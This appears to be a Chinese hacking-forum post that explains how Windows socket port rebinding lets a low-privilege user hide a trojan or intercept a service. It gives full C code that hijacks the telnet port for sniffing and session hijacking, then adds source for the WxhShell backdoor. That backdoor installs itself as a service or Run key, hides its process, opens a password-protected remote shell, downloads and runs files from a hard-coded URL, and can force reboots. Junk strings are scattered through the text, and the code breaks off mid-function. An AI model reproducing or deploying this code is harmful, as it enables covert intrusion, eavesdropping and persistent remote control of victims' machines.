社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 16555阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^~2GhveBV  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;K0kQ<y-Y  
W@1Nit-R  
  saddr.sin_family = AF_INET; ?*a:f"vQ  
5TVDt  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); },'2j  
hof:+aW  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @ Sw[+`  
]dc^@}1bN  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 A\_cGM2  
q7C>A`w  
  这意味着什么?意味着可以进行如下的攻击: XU .FLNe  
t+5JIQY>  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `Xnu("w)  
e@6<mir[4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Qj?FUxw  
d:6?miMH]t  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 g#;w)-Zj  
!h{qO&ZH=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Zycu3%JI  
z)r)w?A  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 bH&Cbme90-  
w3c[t~R8  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 DJ;G0*  
BM#cosV7%h  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "8aw=3A  
j9sf~}D>  
  #include nW3`Z1kq})  
  #include z{cIG8z  
  #include ]n0kO&  
  #include    GmB7@-[QA%  
  DWORD WINAPI ClientThread(LPVOID lpParam);   RiF~-;v&  
  int main() a 1Qg&s<  
  { AxUj CerNf  
  WORD wVersionRequested; =u(. Y  
  DWORD ret; ^ S'}RZ*>  
  WSADATA wsaData; Ft>Abj,6  
  BOOL val; $6T*\(;T@A  
  SOCKADDR_IN saddr; %zyO}  
  SOCKADDR_IN scaddr; _* ]~MQ=  
  int err; n3-u.Fb  
  SOCKET s; Hm4:m$=p4  
  SOCKET sc; +s c|PB  
  int caddsize; (CS"s+y1  
  HANDLE mt; &""~Pn8  
  DWORD tid;   K.n #;|  
  wVersionRequested = MAKEWORD( 2, 2 ); K>9]I97g'  
  err = WSAStartup( wVersionRequested, &wsaData ); 7M<Ae D%  
  if ( err != 0 ) { <XX\4[wb  
  printf("error!WSAStartup failed!\n"); [XjJsk,  
  return -1; <*~vZT i(  
  } Q i#%&Jz>f  
  saddr.sin_family = AF_INET; NA>h$N  
   R 28v5  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 s!``OyI/Z  
ZJ@M}-4O1  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #[C |%uq  
  saddr.sin_port = htons(23); J (Yfup  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0ejx; Mum  
  { iV[g.sP-  
  printf("error!socket failed!\n"); s (J,TS#I]  
  return -1; !9DqW&8  
  } ' D+h_*H  
  val = TRUE; d>eVR  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 .HF+JHIUu  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) f*7/O |Gp  
  { F_U3+J>  
  printf("error!setsockopt failed!\n"); IY?[0S  
  return -1; gR"'|c   
  } V= U=  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; a;D{P`%n  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~sshhuF  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Glcl7f"<^  
&xMR{:  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ={-\)j  
  { R3<>]/1p|P  
  ret=GetLastError(); c 's=>-X  
  printf("error!bind failed!\n"); 7-.Y VM~R  
  return -1; /Ou`$2H87  
  } *r$Yv&c,  
  listen(s,2); k5]s~* ,0  
  while(1) MbC7`Sp&i  
  { #.UooFk+Y  
  caddsize = sizeof(scaddr); W~k"`g7uu  
  //接受连接请求 (m4`l_  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); UP}Y s*  
  if(sc!=INVALID_SOCKET) <Vm+Lt9  
  { 8i=J(5=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2ixg ix  
  if(mt==NULL) }BS.OK?  
  { :XEP:8  
  printf("Thread Creat Failed!\n"); t&^9o $  
  break; c_<m8b{AEF  
  } X"YH49?  
  } R:P'QM   
  CloseHandle(mt); *x2+sgSf_0  
  } |X k'd@<  
  closesocket(s); ifl`QZp_  
  WSACleanup(); t6BggO"_u  
  return 0; @*e|{;X]hy  
  }   rlmzbIu I9  
  DWORD WINAPI ClientThread(LPVOID lpParam) +',[q  
  { M5s>;q)  
  SOCKET ss = (SOCKET)lpParam; j|TcmZGO  
  SOCKET sc; I4:4)V?  
  unsigned char buf[4096]; {v+,U}  
  SOCKADDR_IN saddr; \:-#,( .V  
  long num; ^&buX_nlO  
  DWORD val; ,y>,?6:>  
  DWORD ret; I3]-$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 G < Z)y#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   bO>q`%&  
  saddr.sin_family = AF_INET; trcG^uV  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :#1{c^i%3  
  saddr.sin_port = htons(23); z$$ E7i  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >Lx,<sE  
  { m.e+S,i  
  printf("error!socket failed!\n"); qZACX.Hw  
  return -1; =<R")D]4z  
  } 2jV.\C k  
  val = 100; losm<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [Hw  
  { 6z=h0,Y}  
  ret = GetLastError(); QE*O~Yj  
  return -1; 16ahU$@-  
  } zgRZgVj  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =B<>H$  
  { ;= ^kTb`X  
  ret = GetLastError(); a|rN %hA4  
  return -1; ~=91Kxf  
  } 5[}3j1  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Osncl5PD)  
  { 9W88_rE'e}  
  printf("error!socket connect failed!\n"); ".A+'pJ  
  closesocket(sc); NC'+-P'y  
  closesocket(ss); 'NHtCs=F   
  return -1; nXPl\|pXt  
  } k=1([x  
  while(1)  al/Mgo  
  { @q:v?AO  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?=,4{(/)  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 / RU'~(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 qpzzk9ba[  
  num = recv(ss,buf,4096,0); GSo&$T;B6  
  if(num>0) 2(M^8Bl  
  send(sc,buf,num,0); S`g:z b_  
  else if(num==0) 1.*VliY  
  break; 3<.]+ukm  
  num = recv(sc,buf,4096,0); (?R;u>  
  if(num>0) )@+lfIE(l  
  send(ss,buf,num,0); VWDXEa9  
  else if(num==0) Syv[ [Ek  
  break; Otq`45  
  } QP/%+[E.  
  closesocket(ss); /orpQUHA  
  closesocket(sc); +c;/hM<IX.  
  return 0 ; @a-u_|3q  
  } C_xO k'091  
WeyH;P=  
[P~6O>a5p  
========================================================== qYo"-D*  
ZI.;7G@|  
下边附上一个代码,,WXhSHELL ZS&>%G  
f}{ lRk  
========================================================== *FhD%><  
0kC}qru'  
#include "stdafx.h" W,<L/ZKJ  
4Ufx,]  
#include <stdio.h> xS.Rpx/8  
#include <string.h> '](4g/%  
#include <windows.h> T,N"8N{K"  
#include <winsock2.h> fXfBDB  
#include <winsvc.h> 4CAV)  
#include <urlmon.h> b^ wWg  
$7M/rF;N5X  
#pragma comment (lib, "Ws2_32.lib") Gt;@. jY&  
#pragma comment (lib, "urlmon.lib") 7 0pt5O3]  
2y6@:VxSh  
#define MAX_USER   100 // 最大客户端连接数 T.ZPpxY  
#define BUF_SOCK   200 // sock buffer ">pW:apl%  
#define KEY_BUFF   255 // 输入 buffer BCnf'0q  
T'YHV}b}vX  
#define REBOOT     0   // 重启 Arvxl(R\4  
#define SHUTDOWN   1   // 关机 "p]Fq,  
Qa*?iD  
#define DEF_PORT   5000 // 监听端口 _D{zB1d\0  
r=57,P(:Ca  
#define REG_LEN     16   // 注册表键长度 K&1o!<|  
#define SVC_LEN     80   // NT服务名长度 u=j|']hp#&  
2hB';Dv  
// 从dll定义API Mou@G3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +Smt8O<N  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :CH*~o  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \1` L-lz  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e|Ip7`  
"F_o%!l  
// wxhshell配置信息 z3F ^OU   
struct WSCFG { dFdll3bC  
  int ws_port;         // 监听端口 }mGOEG|F2  
  char ws_passstr[REG_LEN]; // 口令 e<_yr>9g"  
  int ws_autoins;       // 安装标记, 1=yes 0=no JtB"Dh  
  char ws_regname[REG_LEN]; // 注册表键名 bpe8 `b(#  
  char ws_svcname[REG_LEN]; // 服务名 b1X.#pz7F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 nq'vq] ]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  ?gZJ v  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a2:Tu  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [y^)&L$=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Zmx[u_NG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !: e0cV  
FN$ hEc!  
}; 'vgO`  
NF?FEUoxz  
// default Wxhshell configuration iQ[0d.(A  
struct WSCFG wscfg={DEF_PORT, sU7>q}!  
    "xuhuanlingzhe", >;E[XG^  
    1, qg7] YT&  
    "Wxhshell", sOyWsXd+R'  
    "Wxhshell", iz|mJUx  
            "WxhShell Service", w1zI"G~4/Q  
    "Wrsky Windows CmdShell Service", `i{k^Q  
    "Please Input Your Password: ", TmN}TMhZ  
  1, IKJ~sw~AQ  
  "http://www.wrsky.com/wxhshell.exe", O5"o/Y~m  
  "Wxhshell.exe" c[=%v]j:u  
    }; WA);Z=  
hl4@Y#n  
// 消息定义模块 OL+!,Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Sr7+DCr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !*46@sb:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >.R6\>N%  
char *msg_ws_ext="\n\rExit."; S6sSdo'  
char *msg_ws_end="\n\rQuit."; d2H&@80  
char *msg_ws_boot="\n\rReboot..."; ' pE %'8R  
char *msg_ws_poff="\n\rShutdown..."; )B d`N^k+  
char *msg_ws_down="\n\rSave to "; FV[6">;g  
1'|6IR1'  
char *msg_ws_err="\n\rErr!"; nMU#g])y)  
char *msg_ws_ok="\n\rOK!"; 3t(8uG<rL  
47Y| 1  
char ExeFile[MAX_PATH]; * *?mZtF  
int nUser = 0; (wJtEoB9^  
HANDLE handles[MAX_USER]; cz_4cMgxu  
int OsIsNt; lYd#pNN  
kndP?#> p1  
SERVICE_STATUS       serviceStatus; h6*=Fn7C  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; T[$Sbz`  
Z$R2Z$f  
// 函数声明 {HqwpB\@  
int Install(void); Df_W>QC  
int Uninstall(void); ? Azpb}#  
int DownloadFile(char *sURL, SOCKET wsh); (vIrXF5Dnj  
int Boot(int flag); &`rV{%N"  
void HideProc(void); nsyg>=j  
int GetOsVer(void); 0/.#V*KM  
int Wxhshell(SOCKET wsl); "?j|;p@!>  
void TalkWithClient(void *cs); >Kl78w:  
int CmdShell(SOCKET sock); V07x+ovq  
int StartFromService(void); <_*8a(j3  
int StartWxhshell(LPSTR lpCmdLine); $XS0:C0  
@4:cn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); uTJi }4cw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D#%J||  
QN(f8t(  
// 数据结构和表定义 hp(n;(OR  
SERVICE_TABLE_ENTRY DispatchTable[] = m[^;HwJ  
{ X.0/F6U  
{wscfg.ws_svcname, NTServiceMain}, dE5DH~ldV  
{NULL, NULL} ;{|a~e?Y  
}; KmV>tn BQ  
*8p\.za1  
// 自我安装 M3Kpp _d_!  
int Install(void) IidZ -Il  
{ l,/q# )5[  
  char svExeFile[MAX_PATH]; $8&HpX#h$  
  HKEY key; ,8uu,,c  
  strcpy(svExeFile,ExeFile); y? [*qnPj  
T[)) ful  
// 如果是win9x系统,修改注册表设为自启动 0:G@a&Lr  
if(!OsIsNt) { QnxkD)f*0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gb:Cc,F,%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K/[v>(<  
  RegCloseKey(key); @{_PO{=\C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o,) p*glO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *9^CgLF  
  RegCloseKey(key); f/)3b`$Wu  
  return 0; ^JtGT  
    } >Z^7=5K"O  
  } whNRUOK:  
} ZP)=2'RY  
else { Y,D\_il_  
,Ucb)8a  
// 如果是NT以上系统,安装为系统服务 HZQI|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n#3y2,Ml  
if (schSCManager!=0) pmCBe6n \l  
{ }jU{RR%6B  
  SC_HANDLE schService = CreateService &3{:h  
  ( :kZ2N67  
  schSCManager, NQfIY`lt'  
  wscfg.ws_svcname, Vm8;{Sq  
  wscfg.ws_svcdisp, G%YD2<V  
  SERVICE_ALL_ACCESS, @6*<Xs =  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y<F$@  
  SERVICE_AUTO_START, zJ9ZqC]  
  SERVICE_ERROR_NORMAL, z!Kadqns  
  svExeFile, hl~(&D1^  
  NULL, 5d}PrYa  
  NULL, "4"\tM(  
  NULL,  CjQ_oNI  
  NULL, +:&(Ag  
  NULL NtTLvO6  
  ); =mqV&FgRo  
  if (schService!=0) J=K3S9:n]g  
  { z,rWj][P  
  CloseServiceHandle(schService); ~73"AWlp  
  CloseServiceHandle(schSCManager); #`"'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 81W})q8  
  strcat(svExeFile,wscfg.ws_svcname); 4BEVG&Ks  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _;01/V"q6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q,\lS  
  RegCloseKey(key); KvilGh10  
  return 0; 4)j<(5  
    } ]^ O<WD  
  } ZuS+p0H"  
  CloseServiceHandle(schSCManager); GWE`'V  
} hQGZrZK#  
} [9?= &O#*  
{OAy@6 +  
return 1; $Z28nPd/  
} }T c)M_  
`"ie57-  
// 自我卸载 4kXx(FE  
int Uninstall(void) 1Y9Ye?~jd  
{ >Dtw^1i  
  HKEY key; zm8m J2s  
%aw/Y5  
if(!OsIsNt) { r~s03g0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l"*>>/U k  
  RegDeleteValue(key,wscfg.ws_regname); He!0&B\7h  
  RegCloseKey(key); 0[3b,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X_!mZ\H7  
  RegDeleteValue(key,wscfg.ws_regname); /@#)j( eY/  
  RegCloseKey(key); ]}v`#-Px(  
  return 0; rW\~sTH  
  } !Rb7q{@>  
} [/#n+sz.A  
} %7|qnh6  
else { 3b&W=1J  
}= <!j5:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); RTl7vzG  
if (schSCManager!=0) NZlJ_[\$C  
{ q',a7Tf:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8%xtb6#7M  
  if (schService!=0) [2\`Wh:%P  
  { )i!)Tv  
  if(DeleteService(schService)!=0) { df J7Dhn  
  CloseServiceHandle(schService); Ej34^*m9k  
  CloseServiceHandle(schSCManager); )d.7xY7!  
  return 0; ;%k%AXw  
  } >8AtT=}w  
  CloseServiceHandle(schService); 8dZH&G@;  
  } ' xi..  
  CloseServiceHandle(schSCManager); '6WDs]\  
} rLKDeB  
} WG}QLcP  
@pS[_!EqYz  
return 1; d?{2A84S  
} '\_)\`a|  
nVM`&azD  
// 从指定url下载文件 }E1Eq  
int DownloadFile(char *sURL, SOCKET wsh) 50R+D0^mh  
{ W@S9}+wl*  
  HRESULT hr; [&`>&u@MK  
char seps[]= "/"; =:0(&NCRq  
char *token; 11-uJVO~*  
char *file; ^y6CV4T+  
char myURL[MAX_PATH]; h`GV[Oo:  
char myFILE[MAX_PATH]; O0{v`|w9+  
Y zvtxX*  
strcpy(myURL,sURL); <1LuYEDq  
  token=strtok(myURL,seps); qnm9L w#  
  while(token!=NULL) 3}gK`1Nq1  
  { AN1bfF:C  
    file=token; z`2d(KE?  
  token=strtok(NULL,seps); kt:%]ZZL  
  } 0,3 ':Df  
dk]ro~ [  
GetCurrentDirectory(MAX_PATH,myFILE); Lul?@>T  
strcat(myFILE, "\\"); VN".NEL  
strcat(myFILE, file); ^}[ N4  
  send(wsh,myFILE,strlen(myFILE),0); jXDo!a| 4y  
send(wsh,"...",3,0); {vH8X(m  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $ta#] >{  
  if(hr==S_OK) p}!pT/KmpH  
return 0; e^an` </{  
else UCWU|r<s,  
return 1; ropiyT9;  
DtS{iH=s]  
} A3$b_i@P  
#3$|PM7,_  
// 系统电源模块 0`thND)?O  
int Boot(int flag) _ o(h]G1].  
{ lyeoSd1AN  
  HANDLE hToken; {p\KB!Y-  
  TOKEN_PRIVILEGES tkp; 24Tw1'mW  
18HHEW{  
  if(OsIsNt) { u'b_zlW@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +~v(*s C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %jf gncW  
    tkp.PrivilegeCount = 1; dEp=;b s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hzH5K  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !{XO#e  
if(flag==REBOOT) { iTvCkb48m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n 3]y$wK  
  return 0; Ol@ZH_  
} U Oo(7  
else { gA|j\T{c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u^uG_^^,/  
  return 0; 7(;VUR%%.  
} qTGy\i  
  } K\ ]r  
  else { K7Vr$,p  
if(flag==REBOOT) { D-!%L<<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zK92:+^C   
  return 0; BkeP?X  
} F"C Yrt  
else { el%Qxak`"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) sJlKN  
  return 0; A%O#S<sa  
} E=QQZ\w  
} (Vv]:Y]  
Ei<:=6EX?8  
return 1; &$Lm95  
} B=r/(e  
[ub\DLl  
// win9x进程隐藏模块 \nWpV7TSN  
void HideProc(void) p'4P2   
{ A&'%ou  
&O,$l3 P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ZB%~>  
  if ( hKernel != NULL ) "U.=A7r  
  { AF}"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _@;N<$&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); YLo$n  
    FreeLibrary(hKernel); ~dLZ[6Z  
  } y|se^dn  
(ce NVo&  
return; zJ`(LnV  
} xW4+)F5P(  
Fm':sd)'X  
// 获取操作系统版本 dFFqs&cQ  
int GetOsVer(void) k]iS3+nD  
{ ~=ktFuEa  
  OSVERSIONINFO winfo; bYc qscW  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); HWBom8u0  
  GetVersionEx(&winfo); 5aNDW'z`f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lg+g:o  
  return 1; Sq,ty{j2%  
  else Qg!*=<b  
  return 0; zY+Et.lg]^  
} 3(&F.&C$$  
bn35f<+  
// 客户端句柄模块 M(uB ;Te  
int Wxhshell(SOCKET wsl) 9a%@j ]  
{ nW_  
  SOCKET wsh; ~2431<YV  
  struct sockaddr_in client; &:*+p-!2<  
  DWORD myID; !e `=UZe1  
<GRf%zJ  
  while(nUser<MAX_USER) 9A(K_d-!H  
{ +GU16+w~E  
  int nSize=sizeof(client); \k_3IP?o=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); JrTBe73.]j  
  if(wsh==INVALID_SOCKET) return 1; cx(F,?SbS  
%U7f9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4/WCs$  
if(handles[nUser]==0) QB,ad   
  closesocket(wsh); 2v1&%x:y#  
else -Wk"o?} q  
  nUser++; V2%wb\_z  
  } MlE~ gCD  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h';v'"DoW`  
e&4u^'+K  
  return 0; CD[=z)<z{  
} G\ZRNb  
gDNW~?/  
// 关闭 socket 66^t[[  
void CloseIt(SOCKET wsh) ^)l@7XxD  
{ 63Yu05'  
closesocket(wsh); qXGLv4c`Q  
nUser--; )\Q|}JV  
ExitThread(0); ~|C1$.-  
} {~g  
,z )NKt#  
// 客户端请求句柄 ss8v4@C  
void TalkWithClient(void *cs) #!,`EU  
{ p|V1Gh<  
ZMg9Qt  
  SOCKET wsh=(SOCKET)cs;  7`@?3?  
  char pwd[SVC_LEN]; Bqlc+d:  
  char cmd[KEY_BUFF]; \Pmk`^T  
char chr[1]; )#~fS28j  
int i,j; !!%nl_I(  
m (:qZW  
  while (nUser < MAX_USER) { Ec*7n6~9  
M~F2cX W  
if(wscfg.ws_passstr) { WC*:\:mh  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e*6` dz@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #@s~V<rW  
  //ZeroMemory(pwd,KEY_BUFF); <" l;l~Y1  
      i=0; , %O3^7i  
  while(i<SVC_LEN) { `f+g A  
E*CQG;^=N  
  // 设置超时 !BuJC$  
  fd_set FdRead; TcmZ0L^O  
  struct timeval TimeOut; q.[[ c  
  FD_ZERO(&FdRead); A!Ct,%   
  FD_SET(wsh,&FdRead); k]9>V@C  
  TimeOut.tv_sec=8; *js$r+4  
  TimeOut.tv_usec=0; W?J[K;<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S_VncTIO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %]$p ^m  
@SG"t,5s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R bc2g"]  
  pwd=chr[0]; FXEfD"  
  if(chr[0]==0xd || chr[0]==0xa) { D K_v{R  
  pwd=0; u!Nfoq&'u  
  break; V?dK*8s  
  } k:)u7A+  
  i++; LEnP"o9ZW  
    } 7h&`BS  
=1OAy`8  
  // 如果是非法用户,关闭 socket *Q120R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -U;LiO;N  
} FK >8kC  
L8xprHgL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 02#Iip3t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L{%a4 Ip  
C|;Mhe'r=  
while(1) { FDs^S)B  
jTUf4&b-  
  ZeroMemory(cmd,KEY_BUFF); _JIUds5  
4yZ+,hqJ<9  
      // 自动支持客户端 telnet标准   l%U_iqL&  
  j=0; %R*vSRG/U  
  while(j<KEY_BUFF) { 9Y@?xn.\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lF"(|n"R  
  cmd[j]=chr[0]; ~nc([%!=  
  if(chr[0]==0xa || chr[0]==0xd) { {2gd4[:  
  cmd[j]=0; -Dq:Y,%q  
  break; q;0&idYC  
  } t:s q*d  
  j++; O0(Q0Ko  
    } F@'rP++4  
 {%~4RZA  
  // 下载文件 C 3XZD4.2  
  if(strstr(cmd,"http://")) { [xp,&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !5SQN5K  
  if(DownloadFile(cmd,wsh)) )Z]y.W)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6?.pKFB Z  
  else u#@{%kPW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HGQ?(2]8$  
  } ^8l3j4  
  else { 3?Eoj95w!  
X8SRQO^  
    switch(cmd[0]) { \pD=Lv9  
  QUZQY`' @  
  // 帮助 N|O]z  
  case '?': { +\8krA  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i@R$g~~-D  
    break; zvb} p  
  } 9C)3 b3  
  // 安装 /b:t;0G  
  case 'i': { i Kk"j   
    if(Install()) =Pb5b6Y@6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5 -WRv;  
    else [aM'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3AQ>>)T~  
    break; X*9N[#wu6  
    } } wOpPN[4  
  // 卸载 $n#Bi.A j  
  case 'r': { %::deV7  
    if(Uninstall()) dbuJ~?D,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6+B{4OY  
    else " $IXZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /sT ^lf=  
    break; cI%"Ynq"3  
    } Q6!v3P/h  
  // 显示 wxhshell 所在路径 ^*x Hy`  
  case 'p': { M|({ 4C  
    char svExeFile[MAX_PATH]; %w8GGm8^/  
    strcpy(svExeFile,"\n\r"); 9ze|s^  
      strcat(svExeFile,ExeFile); oS#'u 1k  
        send(wsh,svExeFile,strlen(svExeFile),0); ^L-w(r62<  
    break; #;"D)C  
    } :IR9=nhS]  
  // 重启 $S=~YzO  
  case 'b': { Ph#F<e(9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p;u 1{  
    if(Boot(REBOOT)) ./&zO{|0]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,s><kHJ  
    else { 'uKkl(==%  
